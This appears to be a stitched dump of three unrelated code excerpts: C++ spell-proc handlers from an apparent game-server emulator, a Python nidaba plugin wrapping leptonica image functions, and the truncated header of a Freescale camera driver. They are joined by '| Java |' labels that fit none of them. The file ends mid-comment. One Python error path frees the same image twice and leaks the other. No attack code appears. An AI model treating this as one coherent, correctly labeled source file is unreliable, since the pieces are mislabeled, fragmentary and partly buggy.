int32 curBonus = 0;
if (Aura* aur = owner->GetAura(48090, EFFECT_INDEX_0))
curBonus = aur->GetModifier()->m_amount;
int32 spellDamage = owner->SpellBaseDamageBonusDone(SPELL_SCHOOL_MASK_MAGIC) - curBonus;
if(spellDamage <= 0)
return SPELL_AURA_PROC_FAILED;
// percent stored in owner talent dummy
AuraList const& dummyAuras = owner->GetAurasByType(SPELL_AURA_DUMMY);
for (AuraList::const_iterator i = dummyAuras.begin(); i != dummyAuras.end(); ++i)
{
if ((*i)->GetSpellProto()->SpellIconID == 3220)
{
basepoints[0] = basepoints[1] = int32(spellDamage * (*i)->GetModifier()->m_amount / 100);
break;
}
}
break;
}
// Sword and Board
case 50227:
{
// Remove cooldown on Shield Slam
if (GetTypeId() == TYPEID_PLAYER)
((Player*)this)->RemoveSpellCategoryCooldown(1209, true);
break;
}
// Maelstrom Weapon
case 53817:
{
// Item - Shaman T10 Enhancement 4P Bonus
// Calculate before roll_chance of ranks
if (Aura * dummy = GetDummyAura(70832))
{
if (SpellAuraHolder *aurHolder = GetSpellAuraHolder(53817))
if ((aurHolder->GetStackAmount() == aurHolder->GetSpellProto()->StackAmount) && roll_chance_i(dummy->GetBasePoints()))
CastSpell(this,70831,true,castItem,triggeredByAura);
}
// have rank dependent proc chance, ignore too often cases
// PPM = 2.5 * (rank of talent),
uint32 rank = sSpellMgr.GetSpellRank(auraSpellInfo->Id);
// 5 rank -> 100% 4 rank -> 80% and etc from full rate
if(!roll_chance_i(20*rank))
return SPELL_AURA_PROC_FAILED;
// Item - Shaman T10 Enhancement 4P Bonus
if (Aura *aur = GetAura(70832, EFFECT_INDEX_0))
{
Aura *maelBuff = GetAura(trigger_spell_id, EFFECT_INDEX_0);
if (maelBuff && maelBuff->GetStackAmount() + 1 == maelBuff->GetSpellProto()->StackAmount)
if (roll_chance_i(aur->GetModifier()->m_amount))
CastSpell(this, 70831, true, NULL, aur);
}
break;
}
// Brain Freeze
case 57761:
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
// For trigger from Blizzard need exist Improved Blizzard
if (procSpell->SpellFamilyName==SPELLFAMILY_MAGE && (procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000080)))
{
bool found = false;
AuraList const& mOverrideClassScript = GetAurasByType(SPELL_AURA_OVERRIDE_CLASS_SCRIPTS);
for(AuraList::const_iterator i = mOverrideClassScript.begin(); i != mOverrideClassScript.end(); ++i)
{
int32 script = (*i)->GetModifier()->m_miscvalue;
if(script==836 || script==988 || script==989)
{
found=true;
break;
}
}
if(!found)
return SPELL_AURA_PROC_FAILED;
}
break;
}
// Astral Shift
case 52179:
{
if (procSpell == 0 || !(procEx & (PROC_EX_NORMAL_HIT|PROC_EX_CRITICAL_HIT)) || this == pVictim)
return SPELL_AURA_PROC_FAILED;
// Need stun, fear or silence mechanic
if (!(GetAllSpellMechanicMask(procSpell) & IMMUNE_TO_SILENCE_AND_STUN_AND_FEAR_MASK))
return SPELL_AURA_PROC_FAILED;
break;
}
// Burning Determination
case 54748:
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
// Need Interrupt or Silenced mechanic
if (!(GetAllSpellMechanicMask(procSpell) & IMMUNE_TO_INTERRUPT_AND_SILENCE_MASK))
return SPELL_AURA_PROC_FAILED;
break;
}
// Lock and Load
case 56453:
{
// Proc only from trap activation (from periodic proc another aura of this spell)
// because some spells have both flags (ON_TRAP_ACTIVATION and ON_PERIODIC), but should only proc ON_PERIODIC!!
if (!(procFlags & PROC_FLAG_ON_TRAP_ACTIVATION) || !procSpell ||
!(procSpell->SchoolMask & SPELL_SCHOOL_MASK_FROST) || !roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
break;
}
// Freezing Fog (Rime triggered)
case 59052:
{
// Howling Blast cooldown reset
if (GetTypeId() == TYPEID_PLAYER)
((Player*)this)->RemoveSpellCategoryCooldown(1248, true);
break;
}
// Druid - Savage Defense
case 62606:
{
basepoints[0] = int32(GetTotalAttackPowerValue(BASE_ATTACK) * triggerAmount / 100);
break;
}
// Hack for Blood mark (ICC Saurfang)
case 72255:
case 72444:
case 72445:
case 72446:
{
float radius = GetSpellRadius(sSpellRadiusStore.LookupEntry(auraSpellInfo->EffectRadiusIndex[EFFECT_INDEX_0]));
Map::PlayerList const& pList = GetMap()->GetPlayers();
for (Map::PlayerList::const_iterator itr = pList.begin(); itr != pList.end(); ++itr)
if (itr->getSource() && itr->getSource()->IsWithinDistInMap(this,radius) && itr->getSource()->HasAura(triggerEntry->targetAuraSpell))
{
target = itr->getSource();
break;
}
break;
}
}
if (cooldown && GetTypeId()==TYPEID_PLAYER && ((Player*)this)->HasSpellCooldown(trigger_spell_id))
return SPELL_AURA_PROC_FAILED;
// try detect target manually if not set
if (target == NULL)
target = !(procFlags & PROC_FLAG_SUCCESSFUL_POSITIVE_SPELL) && IsPositiveSpell(trigger_spell_id) ? this : pVictim;
// default case
if (!target || (target != this && !target->isAlive()))
return SPELL_AURA_PROC_FAILED;
if (SpellEntry const* triggeredSpellInfo = sSpellStore.LookupEntry(trigger_spell_id))
{
if (basepoints[EFFECT_INDEX_0] || basepoints[EFFECT_INDEX_1] || basepoints[EFFECT_INDEX_2])
CastCustomSpell(target,triggeredSpellInfo,
basepoints[EFFECT_INDEX_0] ? &basepoints[EFFECT_INDEX_0] : NULL,
basepoints[EFFECT_INDEX_1] ? &basepoints[EFFECT_INDEX_1] : NULL,
basepoints[EFFECT_INDEX_2] ? &basepoints[EFFECT_INDEX_2] : NULL,
true, castItem, triggeredByAura);
else
CastSpell(target,triggeredSpellInfo,true,castItem,triggeredByAura);
}
else
{
sLog.outError("HandleProcTriggerSpellAuraProc: unknown spell id %u by caster: %s triggered by aura %u (eff %u)", trigger_spell_id, GetGuidStr().c_str(), triggeredByAura->GetId(), triggeredByAura->GetEffIndex());
return SPELL_AURA_PROC_FAILED;
}
if (cooldown && GetTypeId()==TYPEID_PLAYER)
((Player*)this)->AddSpellCooldown(trigger_spell_id,0,time(NULL) + cooldown);
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleProcTriggerDamageAuraProc(Unit *pVictim, uint32 damage, Aura* triggeredByAura, SpellEntry const *procSpell, uint32 procFlags, uint32 procEx, uint32 cooldown)
{
SpellEntry const *spellInfo = triggeredByAura->GetSpellProto();
DEBUG_FILTER_LOG(LOG_FILTER_SPELL_CAST, "ProcDamageAndSpell: doing %u damage from spell id %u (triggered by auratype %u of spell %u)",
triggeredByAura->GetModifier()->m_amount, spellInfo->Id, triggeredByAura->GetModifier()->m_auraname, triggeredByAura->GetId());
SpellNonMeleeDamage damageInfo(this, pVictim, spellInfo->Id, SpellSchoolMask(spellInfo->SchoolMask));
CalculateSpellDamage(&damageInfo, triggeredByAura->GetModifier()->m_amount, spellInfo);
damageInfo.target->CalculateAbsorbResistBlock(this, &damageInfo, spellInfo);
DealDamageMods(damageInfo.target,damageInfo.damage,&damageInfo.absorb);
SendSpellNonMeleeDamageLog(&damageInfo);
DealSpellDamage(&damageInfo, true);
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleOverrideClassScriptAuraProc(Unit *pVictim, uint32 /*damage*/, Aura *triggeredByAura, SpellEntry const *procSpell, uint32 /*procFlag*/, uint32 /*procEx*/ ,uint32 cooldown)
{
int32 scriptId = triggeredByAura->GetModifier()->m_miscvalue;
if(!pVictim || !pVictim->isAlive())
return SPELL_AURA_PROC_FAILED;
Item* castItem = !triggeredByAura->GetCastItemGuid().IsEmpty() && GetTypeId()==TYPEID_PLAYER
? ((Player*)this)->GetItemByGuid(triggeredByAura->GetCastItemGuid()) : NULL;
// Basepoints of trigger aura
int32 triggerAmount = triggeredByAura->GetModifier()->m_amount;
uint32 triggered_spell_id = 0;
switch(scriptId)
{
case 836: // Improved Blizzard (Rank 1)
{
if (!procSpell || procSpell->SpellVisual[0]!=9487)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 12484;
break;
}
case 988: // Improved Blizzard (Rank 2)
{
if (!procSpell || procSpell->SpellVisual[0]!=9487)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 12485;
break;
}
case 989: // Improved Blizzard (Rank 3)
{
if (!procSpell || procSpell->SpellVisual[0]!=9487)
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 12486;
break;
}
case 4086: // Improved Mend Pet (Rank 1)
case 4087: // Improved Mend Pet (Rank 2)
{
if(!roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
triggered_spell_id = 24406;
break;
}
case 4533: // Dreamwalker Raiment 2 pieces bonus
{
// Chance 50%
if (!roll_chance_i(50))
return SPELL_AURA_PROC_FAILED;
switch (pVictim->getPowerType())
{
case POWER_MANA: triggered_spell_id = 28722; break;
case POWER_RAGE: triggered_spell_id = 28723; break;
case POWER_ENERGY: triggered_spell_id = 28724; break;
default:
return SPELL_AURA_PROC_FAILED;
}
break;
}
case 4537: // Dreamwalker Raiment 6 pieces bonus
triggered_spell_id = 28750; // Blessing of the Claw
break;
case 5497: // Improved Mana Gems (Serpent-Coil Braid)
triggered_spell_id = 37445; // Mana Surge
break;
case 6953: // Warbringer
RemoveAurasAtMechanicImmunity(IMMUNE_TO_ROOT_AND_SNARE_MASK,0,true);
return SPELL_AURA_PROC_OK;
case 7010: // Revitalize (rank 1)
case 7011: // Revitalize (rank 2)
case 7012: // Revitalize (rank 3)
{
if(!roll_chance_i(triggerAmount))
return SPELL_AURA_PROC_FAILED;
switch( pVictim->getPowerType() )
{
case POWER_MANA: triggered_spell_id = 48542; break;
case POWER_RAGE: triggered_spell_id = 48541; break;
case POWER_ENERGY: triggered_spell_id = 48540; break;
case POWER_RUNIC_POWER: triggered_spell_id = 48543; break;
default: return SPELL_AURA_PROC_FAILED;
}
break;
}
case 7282: // Crypt Fever & Ebon Plaguebringer
{
if (!procSpell || pVictim == this)
return SPELL_AURA_PROC_FAILED;
bool HasEP = false;
Unit::AuraList const& scriptAuras = GetAurasByType(SPELL_AURA_OVERRIDE_CLASS_SCRIPTS);
for(Unit::AuraList::const_iterator i = scriptAuras.begin(); i != scriptAuras.end(); ++i)
{
if ((*i)->GetSpellProto()->SpellIconID == 1766)
{
HasEP = true;
break;
}
}
if (!HasEP)
switch(triggeredByAura->GetId())
{
case 49032: triggered_spell_id = 50508; break;
case 49631: triggered_spell_id = 50509; break;
case 49632: triggered_spell_id = 50510; break;
default: return SPELL_AURA_PROC_FAILED;
}
else
switch(triggeredByAura->GetId())
{
case 51099: triggered_spell_id = 51726; break;
case 51160: triggered_spell_id = 51734; break;
case 51161: triggered_spell_id = 51735; break;
default: return SPELL_AURA_PROC_FAILED;
}
break;
}
}
// not processed
if(!triggered_spell_id)
return SPELL_AURA_PROC_FAILED;
// standard non-dummy case
SpellEntry const* triggerEntry = sSpellStore.LookupEntry(triggered_spell_id);
if(!triggerEntry)
{
sLog.outError("Unit::HandleOverrideClassScriptAuraProc: Spell %u triggering for class script id %u",triggered_spell_id,scriptId);
return SPELL_AURA_PROC_FAILED;
}
if( cooldown && GetTypeId()==TYPEID_PLAYER && ((Player*)this)->HasSpellCooldown(triggered_spell_id))
return SPELL_AURA_PROC_FAILED;
CastSpell(pVictim, triggered_spell_id, true, castItem, triggeredByAura);
if( cooldown && GetTypeId()==TYPEID_PLAYER )
((Player*)this)->AddSpellCooldown(triggered_spell_id,0,time(NULL) + cooldown);
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleMendingAuraProc( Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const* /*procSpell*/, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/ )
{
// aura can be deleted at casts
SpellEntry const* spellProto = triggeredByAura->GetSpellProto();
SpellEffectIndex effIdx = triggeredByAura->GetEffIndex();
int32 heal = triggeredByAura->GetModifier()->m_amount;
ObjectGuid caster_guid = triggeredByAura->GetCasterGuid();
// jumps
int32 jumps = triggeredByAura->GetHolder()->GetAuraCharges()-1;
// current aura expire
triggeredByAura->GetHolder()->SetAuraCharges(1); // will removed at next charges decrease
// next target selection
if (jumps > 0 && GetTypeId()==TYPEID_PLAYER && caster_guid.IsPlayer())
{
float radius;
if (spellProto->EffectRadiusIndex[effIdx])
radius = GetSpellRadius(sSpellRadiusStore.LookupEntry(spellProto->EffectRadiusIndex[effIdx]));
else
radius = GetSpellMaxRange(sSpellRangeStore.LookupEntry(spellProto->rangeIndex));
if(Player* caster = ((Player*)triggeredByAura->GetCaster()))
{
caster->ApplySpellMod(spellProto->Id, SPELLMOD_RADIUS, radius,NULL);
if(Player* target = ((Player*)this)->GetNextRandomRaidMember(radius))
{
// aura will applied from caster, but spell casted from current aura holder
SpellModifier *mod = new SpellModifier(SPELLMOD_CHARGES,SPELLMOD_FLAT,jumps-5,spellProto->Id,spellProto->SpellFamilyFlags,spellProto->SpellFamilyFlags2);
// remove before apply next (locked against deleted)
triggeredByAura->SetInUse(true);
RemoveAurasByCasterSpell(spellProto->Id,caster->GetGUID());
caster->AddSpellMod(mod, true);
CastCustomSpell(target,spellProto->Id,&heal,NULL,NULL,true,NULL,triggeredByAura,caster->GetGUID());
caster->AddSpellMod(mod, false);
triggeredByAura->SetInUse(false);
}
}
}
// heal
CastCustomSpell(this,33110,&heal,NULL,NULL,true,NULL,NULL,caster_guid);
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleModCastingSpeedNotStackAuraProc(Unit* /*pVictim*/, uint32 /*damage*/, Aura* /*triggeredByAura*/, SpellEntry const* procSpell, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/)
{
// Skip melee hits or instant cast spells
return !(procSpell == NULL || GetSpellCastTime(procSpell) == 0) ? SPELL_AURA_PROC_OK : SPELL_AURA_PROC_FAILED;
}
SpellAuraProcResult Unit::HandleReflectSpellsSchoolAuraProc(Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const* procSpell, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/)
{
// Skip Melee hits and spells ws wrong school
return !(procSpell == NULL || (triggeredByAura->GetModifier()->m_miscvalue & procSpell->SchoolMask) == 0) ? SPELL_AURA_PROC_OK : SPELL_AURA_PROC_FAILED;
}
SpellAuraProcResult Unit::HandleModPowerCostSchoolAuraProc(Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const* procSpell, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/)
{
// Skip melee hits and spells ws wrong school or zero cost
return !(procSpell == NULL ||
(procSpell->manaCost == 0 && procSpell->ManaCostPercentage == 0) || // Cost check
(triggeredByAura->GetModifier()->m_miscvalue & procSpell->SchoolMask) == 0) ? SPELL_AURA_PROC_OK : SPELL_AURA_PROC_FAILED; // School check
}
SpellAuraProcResult Unit::HandleMechanicImmuneResistanceAuraProc(Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const* procSpell, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/)
{
// Compare mechanic
return !(procSpell==NULL || int32(procSpell->Mechanic) != triggeredByAura->GetModifier()->m_miscvalue)
? SPELL_AURA_PROC_OK : SPELL_AURA_PROC_FAILED;
}
SpellAuraProcResult Unit::HandleModDamageFromCasterAuraProc(Unit* pVictim, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const* /*procSpell*/, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/)
{
// Compare casters
return triggeredByAura->GetCasterGuid() == pVictim->GetObjectGuid() ? SPELL_AURA_PROC_OK : SPELL_AURA_PROC_FAILED;
}
SpellAuraProcResult Unit::HandleAddFlatModifierAuraProc(Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const * /*procSpell*/, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/)
{
SpellEntry const *spellInfo = triggeredByAura->GetSpellProto();
if (spellInfo->Id == 55166) // Tidal Force
{
// Remove only single aura from stack
if (triggeredByAura->GetStackAmount() > 1 && !triggeredByAura->GetHolder()->ModStackAmount(-1))
return SPELL_AURA_PROC_CANT_TRIGGER;
}
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleAddPctModifierAuraProc(Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const *procSpell, uint32 /*procFlag*/, uint32 procEx, uint32 /*cooldown*/)
{
SpellEntry const *spellInfo = triggeredByAura->GetSpellProto();
Item* castItem = !triggeredByAura->GetCastItemGuid().IsEmpty() && GetTypeId()==TYPEID_PLAYER
? ((Player*)this)->GetItemByGuid(triggeredByAura->GetCastItemGuid()) : NULL;
switch(spellInfo->SpellFamilyName)
{
case SPELLFAMILY_MAGE:
{
// Combustion
if (spellInfo->Id == 11129)
{
//last charge and crit
if (triggeredByAura->GetHolder()->GetAuraCharges() <= 1 && (procEx & PROC_EX_CRITICAL_HIT) )
return SPELL_AURA_PROC_OK; // charge counting (will removed)
CastSpell(this, 28682, true, castItem, triggeredByAura);
return (procEx & PROC_EX_CRITICAL_HIT) ? SPELL_AURA_PROC_OK : SPELL_AURA_PROC_FAILED; // charge update only at crit hits, no hidden cooldowns
}
break;
}
case SPELLFAMILY_PRIEST:
{
// Serendipity
if (spellInfo->SpellIconID == 2900)
{
RemoveAurasDueToSpell(spellInfo->Id);
return SPELL_AURA_PROC_OK;
}
break;
}
case SPELLFAMILY_PALADIN:
{
// Glyph of Divinity
if (spellInfo->Id == 11129)
{
// Lookup base amount mana restore
for (int i = 0; i < MAX_EFFECT_INDEX; ++i)
{
if (procSpell->Effect[i] == SPELL_EFFECT_ENERGIZE)
{
int32 mana = procSpell->CalculateSimpleValue(SpellEffectIndex(i));
CastCustomSpell(this, 54986, NULL, &mana, NULL, true, castItem, triggeredByAura);
break;
}
}
return SPELL_AURA_PROC_OK;
}
break;
}
}
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleModDamagePercentDoneAuraProc(Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const *procSpell, uint32 /*procFlag*/, uint32 procEx, uint32 cooldown)
{
SpellEntry const *spellInfo = triggeredByAura->GetSpellProto();
Item* castItem = !triggeredByAura->GetCastItemGuid().IsEmpty() && GetTypeId()==TYPEID_PLAYER
? ((Player*)this)->GetItemByGuid(triggeredByAura->GetCastItemGuid()) : NULL;
// Aspect of the Viper
if (spellInfo->SpellFamilyName == SPELLFAMILY_HUNTER && spellInfo->SpellFamilyFlags & UI64LIT(0x4000000000000))
{
uint32 maxmana = GetMaxPower(POWER_MANA);
int32 bp = int32(maxmana* GetAttackTime(RANGED_ATTACK)/1000.0f/100.0f);
if(cooldown && GetTypeId()==TYPEID_PLAYER && ((Player*)this)->HasSpellCooldown(34075))
return SPELL_AURA_PROC_FAILED;
CastCustomSpell(this, 34075, &bp, NULL, NULL, true, castItem, triggeredByAura);
}
// Arcane Blast
else if (spellInfo->Id == 36032 && procSpell->SpellFamilyName == SPELLFAMILY_MAGE && procSpell->SpellIconID == 2294)
// prevent proc from self(spell that triggered this aura)
return SPELL_AURA_PROC_FAILED;
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandlePeriodicDummyAuraProc(Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const *procSpell, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/)
{
if (!triggeredByAura)
return SPELL_AURA_PROC_FAILED;
SpellEntry const *spellProto = triggeredByAura->GetSpellProto();
if (!spellProto)
return SPELL_AURA_PROC_FAILED;
switch (spellProto->SpellFamilyName)
{
case SPELLFAMILY_DEATHKNIGHT:
{
switch (spellProto->SpellIconID)
{
// Reaping
// Death Rune Mastery
// Blood of the North
case 22:
case 2622:
case 3041:
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
if (getClass() != CLASS_DEATH_KNIGHT)
return SPELL_AURA_PROC_FAILED;
Player * plr = GetTypeId() == TYPEID_PLAYER? ((Player*)this) : NULL;
if (!plr)
return SPELL_AURA_PROC_FAILED;
//get spell rune cost
SpellRuneCostEntry const *runeCost = sSpellRuneCostStore.LookupEntry(procSpell->runeCostID);
if (!runeCost)
return SPELL_AURA_PROC_FAILED;
//convert runes to death
for (uint32 i = 0; i < NUM_RUNE_TYPES -1/*don't count death rune*/; ++i)
{
uint32 remainingCost = runeCost->RuneCost[i];
while(remainingCost)
{
int32 convertedRuneCooldown = -1;
uint32 convertedRune = i;
for(uint32 j = 0; j < MAX_RUNES; ++j)
{
// convert only valid runes
if (RuneType(i) != plr->GetCurrentRune(j) &&
RuneType(i) != plr->GetBaseRune(j))
continue;
// select rune with longest cooldown
if (convertedRuneCooldown < plr->GetRuneCooldown(j))
{
convertedRuneCooldown = int32(plr->GetRuneCooldown(j));
convertedRune = j;
}
}
if (convertedRuneCooldown >= 0)
plr->ConvertRune(convertedRune, RUNE_DEATH);
--remainingCost;
}
}
return SPELL_AURA_PROC_OK;
}
default:
break;
}
break;
}
default:
break;
}
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleModRating(Unit* /*pVictim*/, uint32 /*damage*/, Aura* triggeredByAura, SpellEntry const * /*procSpell*/, uint32 /*procFlag*/, uint32 /*procEx*/, uint32 /*cooldown*/)
{
SpellEntry const *spellInfo = triggeredByAura->GetSpellProto();
if (spellInfo->Id == 71564) // Deadly Precision
{
// Remove only single aura from stack
if (triggeredByAura->GetStackAmount() > 1 && !triggeredByAura->GetHolder()->ModStackAmount(-1))
return SPELL_AURA_PROC_CANT_TRIGGER;
}
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleRemoveByDamageProc(Unit* pVictim, uint32 damage, Aura* triggeredByAura, SpellEntry const *procSpell, uint32 procFlag, uint32 procEx, uint32 cooldown)
{
triggeredByAura->SetInUse(true);
RemoveAurasByCasterSpell(triggeredByAura->GetSpellProto()->Id, triggeredByAura->GetCasterGUID());
triggeredByAura->SetInUse(false);
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleRemoveByDamageChanceProc(Unit* pVictim, uint32 damage, Aura* triggeredByAura, SpellEntry const *procSpell, uint32 procFlag, uint32 procEx, uint32 cooldown)
{
// The chance to dispel an aura depends on the damage taken with respect to the casters level.
uint32 max_dmg = getLevel() > 8 ? 25 * getLevel() - 150 : 50;
float chance = float(damage) / max_dmg * 100.0f;
if (roll_chance_f(chance))
return HandleRemoveByDamageProc(pVictim, damage, triggeredByAura, procSpell, procFlag, procEx, cooldown);
return SPELL_AURA_PROC_FAILED;
}
| Java |
# -*- coding: utf-8 -*-
"""
nidaba.plugins.leptonica
~~~~~~~~~~~~~~~~~~~~~~~~
Plugin accessing `leptonica <http://leptonica.com>`_ functions.
This plugin requires a liblept shared object in the current library search
path. On Debian-based systems it can be installed using apt-get
.. code-block:: console
# apt-get install libleptonica-dev
Leptonica's APIs are rather unstable and may differ significantly between
versions. If this plugin fails with weird error messages or workers are just
dying without discernable cause please submit a bug report including your
leptonica version.
"""
from __future__ import unicode_literals, print_function, absolute_import
import ctypes
from nidaba import storage
from nidaba.celery import app
from nidaba.tasks.helper import NidabaTask
from nidaba.nidabaexceptions import (NidabaInvalidParameterException,
NidabaLeptonicaException,
NidabaPluginException)
leptlib = 'liblept.so'
def setup(*args, **kwargs):
try:
ctypes.cdll.LoadLibrary(leptlib)
except Exception as e:
raise NidabaPluginException(e.message)
@app.task(base=NidabaTask, name=u'nidaba.binarize.sauvola',
arg_values={'whsize': 'int', 'factor': (0.0, 1.0)})
def sauvola(doc, method=u'sauvola', whsize=10, factor=0.35):
"""
Binarizes an input document utilizing Sauvola thresholding as described in
[0]. Expects 8bpp grayscale images as input.
[0] Sauvola, Jaakko, and Matti Pietikäinen. "Adaptive document image
binarization." Pattern recognition 33.2 (2000): 225-236.
Args:
doc (unicode): The input document tuple.
method (unicode): The suffix string appended to all output files
whsize (int): The window width and height that local statistics are
calculated on are twice the value of whsize. The minimal
value is 2.
factor (float): The threshold reduction factor due to variance. 0 =<
factor < 1.
Returns:
(unicode, unicode): Storage tuple of the output file
Raises:
NidabaInvalidParameterException: Input parameters are outside the valid
range.
"""
input_path = storage.get_abs_path(*doc)
output_path = storage.insert_suffix(input_path, method, unicode(whsize),
unicode(factor))
lept_sauvola(input_path, output_path, whsize, factor)
return storage.get_storage_path(output_path)
def lept_sauvola(image_path, output_path, whsize=10, factor=0.35):
"""
Binarizes an input document utilizing Sauvola thresholding as described in
[0]. Expects 8bpp grayscale images as input.
[0] Sauvola, Jaakko, and Matti Pietikäinen. "Adaptive document image
binarization." Pattern recognition 33.2 (2000): 225-236.
Args:
image_path (unicode): Input image path
output_path (unicode): Output image path
whsize (int): The window width and height that local statistics are
calculated on are twice the value of whsize. The minimal
value is 2.
factor (float): The threshold reduction factor due to variance. 0 =<
factor < 1.
Raises:
NidabaInvalidParameterException: Input parameters are outside the valid
range.
"""
if whsize < 2 or factor >= 1.0 or factor < 0:
raise NidabaInvalidParameterException('Parameters ({}, {}) outside of valid range'.format(whsize, factor))
try:
lept = ctypes.cdll.LoadLibrary(leptlib)
except OSError as e:
raise NidabaLeptonicaException('Loading leptonica failed: ' +
e.message)
pix = ctypes.c_void_p(lept.pixRead(image_path.encode('utf-8')))
opix = ctypes.c_void_p()
if lept.pixGetDepth(pix) != 8:
lept.pixDestroy(ctypes.byref(pix))
raise NidabaLeptonicaException('Input image is not grayscale')
if lept.pixSauvolaBinarize(pix, whsize, ctypes.c_float(factor), 0, None,
None, None, ctypes.byref(opix)):
lept.pixDestroy(ctypes.byref(pix))
raise NidabaLeptonicaException('Binarization failed for unknown '
'reason.')
if lept.pixWriteImpliedFormat(output_path.encode('utf-8'), opix, 100, 0):
lept.pixDestroy(ctypes.byref(pix))
lept.pixDestroy(ctypes.byref(pix))
raise NidabaLeptonicaException('Writing binarized PIX failed')
lept.pixDestroy(ctypes.byref(opix))
lept.pixDestroy(ctypes.byref(pix))
@app.task(base=NidabaTask, name=u'nidaba.img.dewarp')
def dewarp(doc, method=u'dewarp'):
"""
Removes perspective distortion (as commonly exhibited by overhead scans)
from an 1bpp input image.
Args:
doc (unicode, unicode): The input document tuple.
method (unicode): The suffix string appended to all output files.
Returns:
(unicode, unicode): Storage tuple of the output file
"""
input_path = storage.get_abs_path(*doc)
output_path = storage.insert_suffix(input_path, method)
lept_dewarp(input_path, output_path)
return storage.get_storage_path(output_path)
def lept_dewarp(image_path, output_path):
"""
Removes perspective distortion from an 1bpp input image.
Args:
image_path (unicode): Path to the input image
output_path (unicode): Path to the output image
Raises:
NidabaLeptonicaException if one of leptonica's functions failed.
"""
try:
lept = ctypes.cdll.LoadLibrary(leptlib)
except OSError as e:
raise NidabaLeptonicaException('Loading leptonica failed: ' +
e.message)
pix = ctypes.c_void_p(lept.pixRead(image_path.encode('utf-8')))
opix = ctypes.c_void_p()
ret = lept.dewarpSinglePage(pix, 0, 1, 1, ctypes.byref(opix), None, 0)
if ret == 1 or ret is None:
lept.pixDestroy(ctypes.byref(pix))
lept.pixDestroy(ctypes.byref(opix))
raise NidabaLeptonicaException('Dewarping failed for unknown reason.')
if lept.pixWriteImpliedFormat(output_path.encode('utf-8'), opix, 100, 0):
lept.pixDestroy(ctypes.byref(pix))
lept.pixDestroy(ctypes.byref(opix))
raise NidabaLeptonicaException('Writing dewarped PIX failed')
lept.pixDestroy(ctypes.byref(pix))
lept.pixDestroy(ctypes.byref(opix))
@app.task(base=NidabaTask, name=u'nidaba.img.deskew')
def deskew(doc, method=u'deskew'):
"""
Removes skew (rotational distortion) from an 1bpp input image.
Args:
doc (unicode, unicode): The input document tuple.
method (unicode): The suffix string appended to all output files.
Returns:
(unicode, unicode): Storage tuple of the output file
"""
input_path = storage.get_abs_path(*doc)
output_path = storage.insert_suffix(input_path, method)
lept_deskew(input_path, output_path)
return storage.get_storage_path(output_path)
def lept_deskew(image_path, output_path):
"""
Removes skew (rotational distortion from an 1bpp input image.
Args:
image_path (unicode): Input image
output_path (unicode): Path to the output document
Raises:
NidabaLeptonicaException if one of leptonica's functions failed.
"""
try:
lept = ctypes.cdll.LoadLibrary(leptlib)
except OSError as e:
raise NidabaLeptonicaException('Loading leptonica failed: ' +
e.message)
pix = ctypes.c_void_p(lept.pixRead(image_path.encode('utf-8')))
opix = ctypes.c_void_p(lept.pixFindSkewAndDeskew(pix, 4, None, None))
if opix is None:
lept.pixDestroy(ctypes.byref(pix))
raise NidabaLeptonicaException('Deskewing failed for unknown reason.')
if lept.pixWriteImpliedFormat(output_path.encode('utf-8'), opix, 100, 0):
lept.pixDestroy(ctypes.byref(pix))
lept.pixDestroy(ctypes.byref(opix))
raise NidabaLeptonicaException('Writing deskewed PIX failed')
lept.pixDestroy(ctypes.byref(pix))
lept.pixDestroy(ctypes.byref(opix))
| Java |
/*
* Copyright 2009-2012 Freescale Semiconductor, Inc. All Rights Reserved.
*/
/*
* The code contained herein is licensed under the GNU General Public
* License. You may obtain a copy of the GNU General Public License
* Version 2 or later at the following locations:
*
* http://www.opensource.org/licenses/gpl-license.html
* http://www.gnu.org/copyleft/gpl.html
*/
/*!
* @file ipu_csi_enc.c
*
* @brief CSI Use case for video capture
*
* @ingroup IPU
*/
#include <linux/platform_device.h>
#include <linux/dma-mapping.h>
#include <linux/ipu.h>
#include <mach/mipi_csi2.h>
#include "mxc_v4l2_capture.h"
#include "ipu_prp_sw.h"
#ifdef CAMERA_DBG
#define CAMERA_TRACE(x) (printk)x
#else
#define CAMERA_TRACE(x)
#endif
/*
* Function definitions
*/
/*!
